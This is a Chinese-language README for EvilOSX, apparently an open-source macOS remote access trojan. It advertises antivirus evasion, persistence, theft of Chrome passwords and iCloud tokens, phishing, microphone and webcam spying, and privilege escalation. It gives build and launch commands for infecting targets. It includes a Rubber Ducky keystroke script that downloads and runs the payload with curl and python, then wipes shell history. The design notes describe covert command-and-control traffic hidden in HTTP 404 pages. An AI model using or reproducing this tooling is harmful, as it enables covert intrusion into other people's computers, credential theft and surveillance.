EvilOSX

一款针对 macOS / OS X 的邪恶 RAT（远程管理工具）。

宏生成器 由 Cedric Owens 编写

此项目不再活跃

特性

• 模拟终端实例
• 简单可扩展的模块系统
• 无僵尸依赖（纯 Python）
• 反病毒软件无法检测（OpenSSL AES-256 加密的负载）
• 持久化
• 支持 GUI 和 CLI
• 检索 Chrome 密码
• 检索 iCloud 令牌和联系人
• 检索/监控剪贴板
• 检索浏览器历史记录（Chrome 和 Safari）
• 通过 iTunes 钓鱼 iCloud 密码
• iTunes（iOS）备份枚举
• 录制麦克风
• 拍摄桌面截图或使用摄像头拍照
• 尝试通过本地提权获得 root 权限

如何使用

# 克隆或下载本仓库
$ git clone https://github.com/Marten4n6/EvilOSX

# 进入仓库目录
$ cd EvilOSX

# 安装服务器所需的依赖
$ sudo pip install -r requirements.txt

# 启动 GUI
$ python start.py

# 最后，在目标机器上运行构建的启动器

警告： 由于有效负载是根据目标系统唯一创建的（由服务器自动生成），因此当任何僵尸程序首次连接时，服务器必须正在运行。

高级用户

对于想要通过 SSH 使用的用户，还有 CLI 模式：

# 创建启动器以感染目标
$ python start.py --builder

# 启动 CLI
$ python start.py --cli --port 1337

# 最后，在目标机器上运行构建的启动器

截图

动机

此项目旨在配合我的 Rubber Ducky 使用，以下是简单的脚本：

REM 下载并执行 EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM 另见：https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM x 秒后关闭所有终端
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• 大约 10 秒即可后门任意已解锁的 Mac，这……很不错
• “Terminal”故意拼写错误，某些系统上 Spotlight 否则无法找到终端。
• 要绕过键盘设置助手，请确保更改 VID&PID，可在此处找到。
  铝制键盘（ISO）可能是你需要的。

版本管理

EvilOSX 将尽可能遵循语义化版本控制指南进行维护。
服务器和僵尸程序的版本号将按以下格式发布：

<主版本号>.<次版本号>.<修订号>

并遵循以下指南：

• 破坏向后兼容性（与旧版僵尸程序）时增加主版本号
• 增加新功能但不破坏向后兼容性时增加次版本号
• 修复错误和杂项更改时增加修订号

有关 SemVer 的更多信息，请访问 https://semver.org/。

设计说明

• 感染机器的过程分为三个部分：
  • 在目标机器上运行启动器，其唯一目标是运行暂存器
  • 暂存器向服务器请求加载器，加载器负责如何加载有效负载
  • 加载器获得唯一加密的有效负载，然后发送回暂存器
• 服务器通过隐藏在 HTTP 404 错误页面中的消息来隐藏通信（来自 BlackHat 的“隐藏于众目睽睽之下”）
  • 命令请求通过 GET 请求从服务器获取
  • 命令响应通过 POST 请求发送到服务器
• 模块利用 Python 的动态特性，它们通过 zlib 压缩后通过网络发送，同时附带任何配置选项
• 由于僵尸程序仅与服务器通信，而服务器从不主动联系僵尸程序，因此服务器无法知道僵尸程序何时离线

问题

请随时在此提交问题或功能请求。

贡献

有关创建模块的简单指南，请单击此处。

致谢

• 出色的 Empire 项目
• 向 Patrick Wardle 致敬，感谢他精彩的演讲，查看 Objective-See
• manwhoami 的项目：OSXChromeDecrypt、MMeTokenDecrypt、iCloudContacts
  （现已删除……如果你重新出现，请告诉我）
• slowloris 模块几乎是从 PySlowLoris 复制而来
• urwid 和这段代码为 CLI 节省了大量时间
• 标志由 motusora 创建

许可证

GPLv3